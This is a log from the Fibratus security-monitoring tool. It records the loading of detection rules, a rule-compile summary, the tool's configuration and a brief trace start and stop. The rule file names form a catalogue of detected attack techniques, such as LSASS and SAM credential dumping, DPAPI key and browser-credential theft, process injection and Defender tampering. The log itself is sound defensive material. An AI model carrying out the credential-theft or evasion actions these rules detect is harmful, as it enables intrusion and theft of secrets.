C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:28:48+01:00 level=info msg=bootstrapping with pid 7024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:28:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-threadpool=>false flush-interval=>1s stack-enrichment=>true enable-dns=>false enable-registry=>true enable-net=>true enable-mem=>false buffer-size=>512 enable-image=>true max-buffers=>36 enable-thread=>true enable-handle=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true max-size=>100 max-backups=>15 level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus sniff=>false enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false timeout=>5s bulk-workers=>1 index-name=>fibratus flush-period=>1s healthcheck=>true] http=>[ timeout=>5s endpoints=>[] enabled=>false serializer=>json method=>POST tls-insecure-skip-verify=>false enable-gzip=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic delivery-mode=>transient passive=>false durable=>false exchange=>fibratus routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 timeout=>5s]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-mmaps=>false excluded-files=>[] enabled=>false skip-registry=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:28:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:28:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:28:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:28:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:28:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:29:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:29:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 